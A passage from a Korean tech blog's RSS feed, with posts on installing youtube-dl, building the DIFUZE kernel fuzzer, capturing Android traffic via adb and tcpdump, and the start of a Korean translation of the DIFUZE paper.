&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;매우 짧은 이름은 코드 내에 변환 테이블을 사용하여 문서화&lt;/li&gt;
&lt;li&gt;모든 축약어는 프로젝트 수준의 표준축약어 문서에 기록&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Memo</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/210</guid>
      <comments>https://netking.tistory.com/210#entry210comment</comments>
      <pubDate>Tue, 2 Jun 2020 15:38:27 +0900</pubDate>
    </item>
    <item>
      <title>youtube-dl 유튜브 다운로드 도구</title>
      <link>https://netking.tistory.com/209</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;설치 방법 1 (curl)&lt;/h3&gt;
&lt;p&gt;$ sudo curl -L &lt;a href=&quot;https://yt-dl.org/downloads/latest/youtube-dl&quot;&gt;https://yt-dl.org/downloads/latest/youtube-dl&lt;/a&gt; -o /usr/local/bin/youtube-dl&lt;/p&gt;
&lt;p&gt;$ sudo chmod a+rx /usr/local/bin/youtube-dl&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;설치 방법&lt;span&gt;&amp;nbsp;&lt;/span&gt;2 (wget)&lt;/h3&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;sudo wget &lt;a href=&quot;https://yt-dl.org/downloads/latest/youtube-dl&quot;&gt;https://yt-dl.org/downloads/latest/youtube-dl&lt;/a&gt; -O /usr/local/bin/youtube-dl&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;sudo chmod a+rx /usr/local/bin/youtube-dl&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;사용&lt;/h3&gt;
&lt;p&gt;$ youtube-dl [OPTIONS] URL [URL...]&lt;/p&gt;
&lt;p&gt;예) &lt;span style=&quot;color: #333333;&quot;&gt;youtube-dl&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=jNQXAC9IVRw&quot;&gt;https://www.youtube.com/watch?v=jNQXAC9IVRw&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;- 고화질 선택 (예시)&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$ youtube-dl -F URL&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;$ youtube-dl -citw -f 137+140 URL&lt;/p&gt;
&lt;p&gt;* 여기서 소리와 영상이 따로 저장되므로 영상 편집 프로그램에서 합쳐줘야 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcz6lM/btqEw11FBrJ/irdlVAkoKoHkkAkBQl6VRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcz6lM/btqEw11FBrJ/irdlVAkoKoHkkAkBQl6VRk/img.png&quot; data-alt=&quot;youtube-dl -F 옵션&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcz6lM/btqEw11FBrJ/irdlVAkoKoHkkAkBQl6VRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbcz6lM%2FbtqEw11FBrJ%2FirdlVAkoKoHkkAkBQl6VRk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;youtube-dl -F 옵션&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #000000; font-size: 1.62em; letter-spacing: -1px;&quot;&gt;References&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;a href=&quot;https://github.com/ytdl-org/youtube-dl&quot;&gt;https://github.com/ytdl-org/youtube-dl&lt;/a&gt;&lt;/blockquote&gt;</description>
      <category>Tool</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/209</guid>
      <comments>https://netking.tistory.com/209#entry209comment</comments>
      <pubDate>Mon, 1 Jun 2020 16:31:12 +0900</pubDate>
    </item>
    <item>
      <title>DIFUZE Build</title>
      <link>https://netking.tistory.com/207</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;*&amp;nbsp;&lt;span style=&quot;color: #ee2323;&quot;&gt;빨간색&amp;nbsp;&lt;/span&gt;글자는&amp;nbsp;반드시&amp;nbsp;따라&amp;nbsp;안&amp;nbsp;하셔도&amp;nbsp;되며,&amp;nbsp;자신의&amp;nbsp;홈&amp;nbsp;디렉터리&amp;nbsp;위치에&amp;nbsp;맞도록&amp;nbsp;하시길&amp;nbsp;바랍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;환경&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;Ubuntu 14.04 LTS (다른&amp;nbsp;버전에서&amp;nbsp;원활하게&amp;nbsp;빌드가&amp;nbsp;되지&amp;nbsp;않을&amp;nbsp;수&amp;nbsp;있습니다)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;설치&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ git clone https://github.com/ucsb-seclab/difuze.git&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;sudo apt-get update&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;sudo apt-get install libxml2-dev; &lt;span style=&quot;color: #333333;&quot;&gt;sudo apt-get install&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;clang; &lt;span style=&quot;color: #333333;&quot;&gt;sudo apt-get install&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;sparse; &lt;span style=&quot;color: #333333;&quot;&gt;sudo apt-get install&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;bear; &lt;span style=&quot;color: #333333;&quot;&gt;sudo apt-get install&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;cmake; &lt;span style=&quot;color: #333333;&quot;&gt;sudo apt-get install&lt;span&gt; &lt;/span&gt;&lt;/span&gt;llvm;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;pip2 install lxml&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;cd difuze&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;&lt;/span&gt;cd helper_scripts&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ python setup_difuze.py -o difuze_deps&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ vim ~/.bashrc&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 40px;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;export&amp;nbsp;LLVM_ROOT=&lt;span style=&quot;color: #ee2323;&quot;&gt;/home/netkingj/&lt;/span&gt;difuze/helper_scripts/difuze_deps/llvm/build&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;export&amp;nbsp;PATH=$LLVM_ROOT/bin:difuze_deps/sparse:$PATH&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ source &lt;span style=&quot;color: #333333;&quot;&gt;~/&lt;/span&gt;.bashrc&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ cd ../InterfaceHandlers&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ ./build.sh&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;예제&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 : &lt;a href=&quot;https://drive.google.com/open?id=0B4XwT5D6qkNmLXdNTk93MjU3SWM&quot;&gt;33.2.A.3.123.tar.bz2&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ mv 33.2.A.3.123 mediatek_kernel&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ cd ~/mediatek_kernel&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$&lt;span&gt; source ./env.sh&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$&lt;span&gt; cd kernel-3.18&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$&lt;span&gt; mkdir out&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$&lt;span&gt; make O=out ARCH=arm64 tubads_defconfig&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$&lt;span&gt; bear make O=out ARCH=arm64&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;$ cd &lt;span style=&quot;color: #333333;&quot;&gt;~/&lt;span style=&quot;color: #333333;&quot;&gt;difuze&lt;/span&gt;&lt;/span&gt;/helper_scripts&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;$ python run_all.py -l ~/mediatek_kernel/llvm_bitcode_out -a 1 -c ~/mediatek_kernel/kernel-3.18/compile_commands.json -n 2 -o ~/mediatek_kernel/kernel-3.18/out -k ~/mediatek_kernel/kernel-3.18 -f ~/mediatek_kernel/ioctl_finder_out&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>Fuzzing</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/207</guid>
      <comments>https://netking.tistory.com/207#entry207comment</comments>
      <pubDate>Fri, 29 May 2020 23:03:35 +0900</pubDate>
    </item>
    <item>
      <title>Android Network Capture with ADB</title>
      <link>https://netking.tistory.com/208</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;환경&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Device : Android (Root)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OS : Kali-linux, Ubuntu Etc&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;방법 1 : 실시간 패킷 분석 (&lt;span&gt;Real-time packet analysis&lt;/span&gt;)&lt;/h3&gt;
&lt;p&gt;$ adb&amp;nbsp;exec-out&amp;nbsp;&quot;su&amp;nbsp;-c&amp;nbsp;tcpdump&amp;nbsp;-i&amp;nbsp;any&amp;nbsp;-U&amp;nbsp;-w&amp;nbsp;-&amp;nbsp;2&amp;gt;/dev/null&quot;&amp;nbsp;|&amp;nbsp;wireshark&amp;nbsp;-k&amp;nbsp;-S&amp;nbsp;-i&amp;nbsp;-&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;* 실시간 패킷 분석 시 프레임 에러가 발생할 땐 [방법 2]로 사용해보세요.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;* If&amp;nbsp;a&amp;nbsp;frame&amp;nbsp;error&amp;nbsp;occurs&amp;nbsp;during&amp;nbsp;real-time&amp;nbsp;packet&amp;nbsp;analysis,&amp;nbsp;use&amp;nbsp;[방법&amp;nbsp;2].&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bltO1C/btqEmKZ7YuW/byiLaPnvHs9U3ZGeaM3nK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bltO1C/btqEmKZ7YuW/byiLaPnvHs9U3ZGeaM3nK1/img.png&quot; data-alt=&quot;Frame Error&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bltO1C/btqEmKZ7YuW/byiLaPnvHs9U3ZGeaM3nK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbltO1C%2FbtqEmKZ7YuW%2FbyiLaPnvHs9U3ZGeaM3nK1%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Frame Error&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;방법 2 : 저장된 패킷 분석 (&lt;span&gt;Analysis of stored packets&lt;/span&gt;)&lt;/h3&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$ adb exec-out &quot;su -c tcpdump -i any -U -w {스마트폰 내에 저장할 위치}&quot;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;ex) adb exec-out &quot;su -c tcpdump -i any -U -w /sdcard/capture.pcap&quot;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$ adb pull &lt;span style=&quot;color: #333333;&quot;&gt;{스마트폰 내에 저장된 위치}&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;ex)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;adb pull /sdcard/capture.pcap&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Android</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/208</guid>
      <comments>https://netking.tistory.com/208#entry208comment</comments>
      <pubDate>Mon, 25 May 2020 03:45:35 +0900</pubDate>
    </item>
    <item>
      <title>[번역] DIFUZE: Interface Aware Fuzzing for Kernel Drivers</title>
      <link>https://netking.tistory.com/204</link>
      <description>&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;h2 style=&quot;text-align: justify;&quot;&gt;목차&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;
&lt;p&gt;요약&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;1. 소개&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;2. 배경과 관련 작업&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;
&lt;p&gt;2.1 POSIX 장치 드라이버&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;2.2 안드로이드 운영체제&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;2.3 Fuzz Testing&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;2.4 기타 분석&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;3. 개요&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;
&lt;p&gt;3.1 Example&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;4.&amp;nbsp; 인터페이스 복구&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;
&lt;p&gt;4.1 시스템 계측 빌드&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;4.2 ioctl 핸들러 식별&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;4.3 장치 파일 탐지&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;4.4 명령 값 결정&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;4.5 인자 타입 식별&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;4.6 구조체 정의 찾기&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;5. 구조체 생성&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;6. ON-DEVICE 실행&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;
&lt;p&gt;6.1 포인터 고정&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;6.2 실행&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;7. 구현&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;
&lt;p&gt;7.1 인터페이스 인식 퍼징&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;8. 평가&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;
&lt;p&gt;8.1 인터페이스 추출 평가&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;8.2 평가 기준&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;8.3 결과&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;8.4 연구 사례 1 : Honor 8 설계 이슈&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;8.5 연구 사례 2 : qseecom 버그&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;8.6 커버리지 기반 퍼징 보강&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;9. 토론&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;
&lt;p&gt;9.1 약점&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;9.2 향후 연구&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;10. 결론&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;부록 A. IOCTL 등록 구조&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;부록 B. V4L2 드라이버&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;References&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;요약&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;장치 드라이버는 현대 유닉스 계열 시스템에서 하드 디스크 및 프린터에서 디지털카메라 및 블루투스 스피커에 이르기까지 물리적 장치에서 작업을 처리하는 데 필수적인 부분이다. 특히 모바일 기기에서 새로운 하드웨어의 급증으로 시스템 커널에서 장치 드라이버가 폭발적으로 증가한다. 이러한 많은 드라이버는 타사 개발자가 제공하며 보안 취약점에 취약하고 적절한 검증이 이루어지지 않는다. 불행하게도, 장치 드라이버에 대한 복잡한 입력 데이터 구조체는 퍼지 테스트와 같은 기존 분석 도구의 효율성을 떨어 뜨리며, 지금까지 커널 드라이버 보안에 대한 연구는 비교적 희박하다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;본 논문에서는 유효한 입력을 자동으로 생성하고 커널 드라이버의 실행을 트리거하는 인터페이스 인식 퍼징 도구인 DIFUZE를 제시한다. 정적 분석을 활용하여 사용자 공간에서 올바르게 구조화된 입력을 작성하여 커널 드라이버를 탐색한다. DIFUZE는 드라이버 핸들러 식별부터 장치 파일 이름에 매핑, 복잡한 인수 인스턴스 구성 등 완전히 자동화된 기능이며, 7개의 최신 안드로이드 스마트폰에 대한 접근 방식을 평가한다. 그 결과 DIFUZE는 커널 드라이버 버그를 효과적으로 식별할 수 있으며, 임의 코드를 실행할 수 있는 결함을 포함하여 이전에 알려지지 않은 32가지 취약점을 보고한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;1. 소개&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;스마트폰과 다른 모바일 기기는 현재 생활의 중심 부분을 차지하고 있다. 그것들은 우리 중 많은 사람들이 밤에 대화하는 마지막 교류 수단이며 아침에 가장 먼저 도달하는 것이다. 우리는 금융 거래를 수행하고 가족, 친구, 동료들과 의사소통하고 위치, 오디오, 비디오를 녹음하는 데 사용한다. 점점 더 개인적이고 상업적인 목적으로만 사용되는 것이 아니라 정부 활동을 용이하게 하는 데에도 이용된다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;이러한 장치의 보안의 중요성은 명백하다. 만약 적이 연결된 세계로 가는 관문이 된 장치를 손상시키면 엄청난 힘을 얻게 될 것이다. 따라서 스마트폰의 보안을 보장하기 위해 많은 노력을 기울였다. 이 보안은 사용자 공간 응용 프로그램(예: 주소 공간 레이아웃 랜덤화, 데이터 실행 보호, SELinux 등)을 대상으로 많은 공격 완화 기법을 활용하고 보안을 1단계 개발 목표로 함으로써 정교한 응용 프로그램 샌드박스를 사용하여 달성한다. 그러나 모바일 장치의 커널 보안에는 약점이 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;여러 가지 취약점 완화 기술을 사용할 수 있는 사용자 공간 애플리케이션과 달리, 현대 운영 체제의 커널은 사용 가능한 보호 기능에도 불구하고 공격에 상대적으로 취약하다. 그 결과, 사용자 공간 애플리케이션의 취약점이 희박해짐에 따라 공격자는 커널에 초점을 맞춘다. 예를 들어, 최근 3년간 커널 코드에 있는 안드로이드 취약점 점유율은 4%(2014년)에서 39%(2016년)로 증가해 커널 버그를 탐지하고 제거하는 기법의 필요성을 부각했다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;커널&amp;nbsp;자체는&amp;nbsp;코어&amp;nbsp;커널&amp;nbsp;코드와&amp;nbsp;장치&amp;nbsp;드라이버의&amp;nbsp;두&amp;nbsp;가지&amp;nbsp;코드&amp;nbsp;유형으로&amp;nbsp;나눌&amp;nbsp;수&amp;nbsp;있다.&amp;nbsp;전자는&amp;nbsp;시스템&amp;nbsp;호출(syscall)&amp;nbsp;인터페이스를&amp;nbsp;통해&amp;nbsp;액세스&amp;nbsp;하여&amp;nbsp;사용자가&amp;nbsp;파일(open()&amp;nbsp;시스템&amp;nbsp;호출)을&amp;nbsp;열거나&amp;nbsp;프로그램&amp;nbsp;실행(execve()&amp;nbsp;시스템&amp;nbsp;호출)하는&amp;nbsp;등의&amp;nbsp;작업을&amp;nbsp;수행할&amp;nbsp;수&amp;nbsp;있다.&amp;nbsp;후자는&amp;nbsp;POSIX&amp;nbsp;호환&amp;nbsp;시스템(휴대폰&amp;nbsp;시장의&amp;nbsp;98%&amp;nbsp;이상을&amp;nbsp;차지하는&amp;nbsp;예:&amp;nbsp;Linux/Android/FreeBSD/IOS)은&amp;nbsp;일반적으로&amp;nbsp;ioctl&amp;nbsp;인터페이스를&amp;nbsp;통해&amp;nbsp;액세스&amp;nbsp;된다.&amp;nbsp;특정&amp;nbsp;시스템&amp;nbsp;호출로&amp;nbsp;구현된&amp;nbsp;인터페이스는&amp;nbsp;입력&amp;nbsp;전송을&amp;nbsp;장치&amp;nbsp;드라이버에&amp;nbsp;의해&amp;nbsp;처리되도록&amp;nbsp;한다.&amp;nbsp;구글에&amp;nbsp;따르면&amp;nbsp;안드로이드&amp;nbsp;커널(Linux와&amp;nbsp;유사한&amp;nbsp;것)에&amp;nbsp;대해&amp;nbsp;보고된&amp;nbsp;버그&amp;nbsp;중&amp;nbsp;85%가&amp;nbsp;타사&amp;nbsp;기기&a